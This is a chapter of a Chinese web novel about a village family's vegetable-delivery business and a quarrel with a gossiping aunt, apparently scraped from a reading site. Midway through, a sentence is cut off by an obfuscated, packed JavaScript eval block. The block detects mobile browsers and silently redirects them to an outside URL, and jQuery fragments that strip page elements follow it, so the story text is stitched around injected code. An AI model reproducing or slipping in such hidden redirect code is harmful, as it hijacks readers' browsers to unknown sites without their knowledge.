回到家后,霍小芽检查了一下两个筐子,只见一个筐子是空空的,另一个筐子里有一块肉,她知道这生意算是做成了。
因为霍小芽已经做好了早饭,所以早上没吃肉丝面。
瞧着桌上的五个煮鸡蛋,秦书锦看了霍小芽一眼。之前几日董春娘和霍二山都不舍得吃鸡蛋了,见霍小芽煮鸡蛋曾说过她太过浪费。霍小芽一向听话,被说了之后就不敢煮太多了。可今日霍小芽又煮了,可见她对卖菜一事很有信心。
霍小芽见秦书锦看过来,对她腼腆地笑了笑。她不是对卖菜有信心,而是莫名对秦书锦有信心,她觉得秦书锦做什么都能成。
因为地里的菜有了着落,董春娘和霍二山心情好,并没有说女儿。
吃过饭后,董春娘想要把铜板塞给秦书锦,秦书锦拒绝了。
“爹娘,我今日只是领着你们去而已,我再跟你们去两日就不去了。也不怕你们笑话,我这人懒得很,早上是起不来的,送菜的事儿还得交给你们才行。”
霍二山:“我们送菜没问题的,他们要多少菜我都记住了,家住哪里我跟你娘也都记个差不多了,钱还是你拿着吧。”
秦书锦还是拒绝了:“爹,这活儿是我给你们找的。菜不是我种的,我也不去送,钱就别给我了,我拿着烫手。”
她顶多是牵线搭桥,以后也不准备参与,要真拿钱的话也太亏心了。
董春娘还想再给,霍二山看出来了儿媳是真的不想要。想到之前儿媳花钱大手大脚的行为,他道:“行,家里的钱早晚都是你跟老二的,我们先替你们拿着。”
秦书锦并未答应什么,她打了个哈欠:“起太早我困了,先去睡了。”
等她走后,霍二山低声道:“秀才家的姑娘果然跟别家不一样,这门亲事还真是结对了,有这样的媳妇儿是老二的福气。”
儿子觉得他和妻子太辛苦,不让他们去县城送菜。儿媳同样觉得他们辛苦,却为他们想到了更好的赚钱法子。那些马上就烂在地里的菜突然又变成了铜板。
董春娘:“可不是么,读过书的姑娘脑子就是活,比老大媳妇儿还会赚钱。”
提起大儿媳,霍二山脸色有些不好看。
“好了,别说了,老大毕竟入赘了他们家,就不算是咱家人了。”
董春娘深深叹了一口气。毕竟是自己身上掉下来的一块肉,还是第一个孩子,她心里还是想着霍耕的。要不是当时家里实在是太难了,她无论如何都不会答应儿子入赘的。如今儿子不光是入赘这么简单了,是想要跟家里切断所有的联系。
“好,我不说了。”
从前霍二山只知读书人很厉害,但很少接触读书人,今日他从秦书锦身上发现了读书的重要性。
“等以后家里有钱了还是得让子规去读书。”
董春娘:“这事儿阿锦能同意么?”
霍二山对此事也没把握,他道:“再等等看吧。”
早上实在是起太早了,秦书锦这一觉睡了一个时辰。等她醒来后,霍二山已经在做手擀面了。
霍子规见她醒来,立即跑过来找她了,他激动地跟秦书锦说道:“娘,爷说中午吃肉丝面。爷做的肉丝面可好吃了,肉特别特别香。”
他一边说一边咽着口水。
秦书锦笑着说:“那你可得多吃点。”
霍子规大声保证:“嗯!我跟爷说了,我要吃两碗!”
看着他可爱的模样,秦书锦忍不住捏了捏他的脸。刚来时霍子规的脸还是干巴巴的,如今养了一些时日已经有肉了。
“好,吃两碗,长大高个儿。”
要是旁人捏霍子规的脸,他早就不高兴了,可秦书锦捏他,他却觉得很开心。娘喜欢他才会捏他的脸,娘身上香香的。
“嗯!”
吃中午饭时,秦书锦再次感慨,人跟人真的不一样。霍二山的手艺是真好啊,肥肉不腻,瘦肉不柴,肉丁别提有多香了。怪不得霍子规要吃两碗,要不是早上睡太久不太饿,她也要吃两碗。
“爹,您这手艺不去开馆子真是可惜了。”
霍二山见大家爱吃很开心,他笑着说:“没你说的那么好。”
秦书锦喝了一口面汤,道:“真的很好,等以后家里赚了钱爹去开个馆子。”
霍二山连连拒绝:“我这手艺也就给家里人做做饭,别的是不成的,上不得台面。”
董春娘也道:“你爹年纪都多大了,开不了馆子了。”
霍二山点了点头。
既然当初霍二山选择去酒楼做学徒,他年轻时也是想开馆子做主厨的,但这些年家里一直都很穷,开不起馆子,他也就渐渐歇了这个心思。如今年纪大了,更是没了这种想法。
秦书锦也知道开馆子不是件简单的事情,她没再多说。
第二日一早,秦书锦又跟着霍二山和董春娘去送菜了,这次秦书锦只跟前几户人家交流了几句,后面全都是霍二山和董春娘去交流。他们二人虽然不太会说漂亮话,但跟人沟通还是没问题的。
到了第三日,秦书锦就在一旁看着,霍二山和董春娘自己去交流。有之前没在这里定菜的人见邻居家的菜好,竟主动来预定菜了。毕竟,若是价格都是一样的,菜还比菜市的好,自然选择送货上门的,而不是自己去菜市买。
三日下来,每日都能赚个十文左右。
这可是个长久的生意,毕竟人总是要吃菜的。
霍二山本来还觉得自家的蔬菜种多了,如今瞧着倒是种少了。等送菜回来,他又去屋后收拾荒地了,准备再种些菜。
秦书锦发现了,霍二山和董春娘不是不能做事的人,只是从前没做过而已,他们两个人可以的。
一开始刚接触时,她觉得霍家人都像是木偶人一样,没有什么性格。接触久了,她发现霍家每个人身上都有了自己的个性。霍子规越来越活泼了,眼珠子滴溜溜地转,满脑子小心思。霍小芽越长越水灵,话也多了起来,身上少了怯懦,大方多了。霍二山和董春娘从一味地顺从她惧怕她,变得有了自己的想法。
从第四日起,秦书锦没再跟着霍二山和董春娘去送菜,他们二人去了镇上。
等回来时,两人脸上都带着笑。
秦书锦:“都送出去了?”
董春娘:“送出去了,本来有一户不要了,可能觉得我和你爹年纪大了,她有些不好意思,就去问她邻居了,结果真被她邻居看中了,邻居买去了,那邻居又定了两斤菠菜。”
秦书锦:“坏事变好事,咱们又多了个顾客。”
董春娘笑着说:“可不是么。”
霍二山脸上也带着笑。
秦书锦发现这二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489261|185776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人笑容变多了,人也精神多了。
吃过饭,霍二山和董春娘去屋后收拾地了。
当晚下了一场大雨,霍二山和董春娘很担心雨会一直下,耽搁早上送菜。等后半夜听着雨停了,终于放心睡了。
第二日一早,因为下过雨,路有些泥泞。秦书锦本想劝霍二山和董春娘别去送菜了,结果她醒来时二人已经将菜都摘好了。
劝不动她也不劝了。她终究不放心,跟着去送菜了。路虽然难走了些,但也没耽搁送菜。
只是回来后,踩过泥坑的鞋子刷了好久才刷洗干净。
过了两日,傍晚时霍耘回来了,到了家里后发现一个人也没有。他放下东西,出去转了转。
赵婆子正在树下跟人说着秦书锦的坏话,瞧着不远处的霍耘,顿时计上心头,也不跟人说闲话了,快步朝着霍耘走去。
“耘哥儿,你今儿咋回来了?”
霍耘:“大伯娘,我明日休沐。”
赵婆子:“大伯娘最近听说了一些事儿,关于你媳妇儿的。我怕你被人骗了,想着跟你说一说。”
霍耘没说话,看向赵婆子。
赵婆子:“你听没听人说过你媳妇儿跟你成亲前跟过别的男人?”
成亲前霍耘的确不知此事,但是成亲这么久了,他身边早有人将话传到了他的耳朵里。他娶秦书锦也不是因为喜欢她,他对秦书锦没什么感情,所以听到这些事内心没什么波动。此刻脸上的神色也很是平静。
“嗯。”
赵婆子惊讶地道:“你知道?”
霍耘想起那日霍小芽说的话,面无表情地道:“大伯娘不是逢人就说我没成亲带着个孩子,是个浪荡子,跟她正好天生一对么。”
赵婆子脸色顿时一僵,连忙道:“这……这话从何说起,我可没说过这样的话。”
她表面看似淡定,实则心里不住地咒骂,这是哪个乱嚼舌根地人把话传到霍耘耳中的。霍二山和董春娘肯定不会说的,霍小芽就跟她娘一个模子里刻出来的,肯定也不会跟霍耘说什么。准是隔壁兰婆子,又或者是外来的那个小媳妇儿,那小媳妇儿不是个善茬,又懒又馋又坏!
霍耘也不说话,就静静看着她。
且不说霍耘死里逃生,他在县衙当了多年的皂吏,什么形形色色的人都见过。赵婆子哪里是他的对手,很快就败下阵来,眼神闪躲。
“男子和女子哪能一样?男的可以三妻四妾,女的可不行。”
霍耘:“大伯娘的意思是同意给大伯找个小妾?”
他没读过书,又在军营待过几年,别看人长得英俊,说话糙得很。
赵婆子顿时就炸了,这霍耘打小就是个混的,不招人待见,长大了还这么令人厌恶!
她一时没忍住,骂道:“你个混账玩意儿!这是你这个做侄子的该说的话吗?”
霍耘:“你刚刚说的话是一个做长辈的该说的吗?”
赵婆子被霍耘气得脸通红,手颤抖着,指着霍耘。
霍耘没再搭理他,去找霍二山和董春娘了。
赵婆子在背后骂道:“好你个霍耘,你个小王八羔子,活该找秦家那种不干净的女人!”
她虽然在骂霍耘,但也不敢真的被他听到,只敢小声地骂。见霍耘突然停下了脚步,她连忙闭了嘴,转身快步回家去了。